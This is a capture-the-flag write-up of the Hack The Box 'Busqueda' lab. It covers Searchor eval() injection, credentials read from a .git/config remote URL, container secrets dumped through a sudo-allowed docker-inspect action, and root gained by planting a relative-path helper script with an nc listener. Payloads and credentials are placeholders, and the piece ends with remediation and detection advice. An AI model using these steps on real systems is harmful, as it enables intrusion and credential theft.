Skip to content

Busqueda — Searchor Expression Injection and Relative-Path Sudo Escalation

Tools
rustscan, python3, sudo, netcat
Skill demonstrated
Python expression injection, credential discovery, and Linux privilege escalation through a delegated maintenance script
Tags
  • linux
  • flask
  • command-injection
  • gitea
  • sudo
Field Value
Difficulty Easy
Target environment Ubuntu Linux; Apache httpd 2.4.52 fronting a Python/Flask application built on Searchor
Starting position Unauthenticated network access
Objective Assess unsafe evaluation in a Flask/Searchor search request, credentials exposed in a deployment repository, and a root-run maintenance script that resolves a helper by relative path
Outcome Command execution as the application service account; root command execution via a relative-path script invoked by a root-run maintenance command

Busqueda is an Easy Hack The Box Linux lab whose web front end runs a Flask search application built on Searchor. The query parameter reaches a Python eval() call, so a crafted search request runs operating-system commands as the application service account. Post-exploitation follows credentials left in the application’s Git configuration into an internal Gitea instance, inspects container environment variables through a delegated sudo maintenance script, and escalates to root by planting the helper that the script’s full-checkup action resolves by relative path. Target identifiers, account names, credential values, callback payloads, and private paths are replaced with role-based placeholders; command syntax is preserved.

Attack path: Searchor eval() injection → service-account shell → Git remote credential exposure → container environment secret disclosure via sudo docker-inspect → relative-path full-checkup helper → root

  • Target: an Ubuntu Linux host exposing SSH and an Apache-fronted HTTP application.
  • Application: a Flask search service whose footer identifies the Searchor library, presented as a search-engine selector and a query field; the site requires a virtual host mapping to reach.
  • Starting position: unauthenticated network access; directory enumeration returned little of interest.
  • Objective: assess unsafe expression evaluation in the search request, credential exposure in the deployment repository, and the privilege boundary created by the allowed maintenance script.
  • Constraints: activity was confined to the Hack The Box lab environment.

Observation: a full-port scan exposes SSH and a single HTTP service.

Terminal window
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN <SCAN_OUTPUT>
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http Apache httpd 2.4.52

Significance: HTTP is the only application-reachable service, and the search interface identifies a Python/Flask stack built on Searchor, so the query field is the initial attack surface; the SSH banner identifies the platform.

Result: SSH and Apache HTTP are exposed, and the Searchor-backed search application is the target surface.

2. Search Request Injection and Command Execution

Section titled “2. Search Request Injection and Command Execution”

Observation: the query parameter is passed into a Python expression — ' and / characters change the response — and a crafted value breaks out of the expected string context to invoke an operating-system command.

POST /search HTTP/1.1
Host: <TARGET_HOST>
Content-Type: application/x-www-form-urlencoded
engine=Google&query=<PYTHON_EXPRESSION_INJECTION>

The executed command returns a shell in the application directory:

<SERVICE_USER>@<TARGET_HOST>:<APPLICATION_DIRECTORY>$

Significance: because the request value reaches eval(), search input becomes arbitrary code execution under the application service account. The defect is the Searchor eval() issue tracked as CVE-2023-43364, fixed in 2.4.2.

Result: a command channel as <SERVICE_USER> is established in the application directory.

Observation: the application directory contains a readable .git directory whose remote URL embeds credentials.

Terminal window
cat <APPLICATION_DIRECTORY>/.git/config
url = http://<GIT_USER>:<GIT_PASSWORD>@<GITEA_HOST>/<OWNER>/<REPOSITORY>.git

The internal services are bound to loopback, so the Gitea instance is not directly reachable:

Terminal window
ss -tulpn 2>/dev/null
127.0.0.1:3000 Gitea
127.0.0.1:3306 MySQL

Significance: a repository remote carries a credential pair for the internal Gitea service, and the loopback bindings show that service is reachable only through a tunnel.

Result: a Gitea credential pair is recovered from the repository configuration, and the internal services are identified.

Observation: local sudo rights allow the service account to run one maintenance script as root with arbitrary trailing arguments.

Terminal window
sudo -l
(root) /usr/bin/python3 <MAINTENANCE_SCRIPT> *

Significance: the delegation is scoped to a single interpreter and script but accepts any argument, and the script exposes docker-ps, docker-inspect, and full-checkup actions — a root context offered through a constrained interface.

Result: a root-run maintenance script is reachable through the delegated sudo rule.

5. Container Environment Secret Disclosure

Section titled “5. Container Environment Secret Disclosure”

Observation: the docker-ps action lists the running containers, and docker-inspect returns the environment of a chosen container.

Terminal window
sudo /usr/bin/python3 <MAINTENANCE_SCRIPT> docker-ps
gitea/gitea:latest
mysql:8
Terminal window
sudo /usr/bin/python3 <MAINTENANCE_SCRIPT> docker-inspect '{{.Config.Env}}' <DATABASE_CONTAINER>
MYSQL_USER=<DATABASE_USER>
MYSQL_PASSWORD=<DATABASE_PASSWORD>
MYSQL_DATABASE=<DATABASE_NAME>

Significance: the maintenance script returns raw container environment variables, disclosing the database credentials in cleartext — the application’s backend secret handed over through a permitted root action.

Result: Gitea database credentials are recovered from the container environment.

Observation: the script’s full-checkup branch builds its command from a relative path, so the executable is resolved from the caller’s current directory rather than a fixed trusted location.

elif action == 'full-checkup':
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))

Action — plant the named helper in the working directory and invoke the root sudo action from there:

Terminal window
nc -nlvp <LISTEN_PORT>
Terminal window
printf '%s\n' '<SANITIZED_CALLBACK_PAYLOAD>' > full-checkup.sh
chmod +x full-checkup.sh
sudo /usr/bin/python3 <MAINTENANCE_SCRIPT> full-checkup
root@<TARGET_HOST>:<WORKING_DIRECTORY># whoami
root

Significance: because root runs ./full-checkup.sh from a caller-controlled working directory, a constrained sudo rule becomes arbitrary root code execution.

Result: root command execution is confirmed by the privileged whoami output.

Challenge Decision Rationale
Special characters in the injected command risked breaking the evaluated expression Base64-encoded the reverse shell before sending it through the query parameter Avoids quoting and bad-character issues in the injected command

The lab ends with root command execution, established by the privileged whoami output. Two transitions are recorded without retained command output: the leaked Git password also authenticated the service account locally, and the disclosed database password granted Administrator access to the internal Gitea instance that held the maintenance script source.

  1. User input evaluated as code. The search query reached eval(), turning search input into command execution as the application account. Recommendation: remove dynamic evaluation of request data and use an allowlisted lookup, as Searchor 2.4.2 did. Detection: review application code for eval()/exec() on user input and monitor web processes for unexpected child processes.
  2. Credentials in Git remote configuration. A deployment .git/config embedded a credential pair for an internal repository host. Recommendation: use deploy keys or a credential helper instead of embedding secrets in remote URLs, and rotate any credential that has been exposed. Detection: scan working directories and repository configuration for credentials in remote URLs.
  3. Secrets in container environment variables. docker-inspect returned the Gitea database password in cleartext. Recommendation: deliver secrets through a secret manager or mounted files rather than environment variables, and restrict who may inspect container configuration. Detection: alert on inspection of environment variables and configuration of production containers.
  4. Relative-path execution in a root-run script. The full-checkup branch ran ./full-checkup.sh from the caller’s directory, so a delegated sudo rule became arbitrary root code execution. Recommendation: reference helper executables by absolute, root-owned paths and validate accepted arguments; avoid wildcard sudo rules that reach an interpreter. Detection: audit sudo policy for interpreter or wildcard delegations and alert on changes to scripts in privileged working directories.
Edit page

Last updated: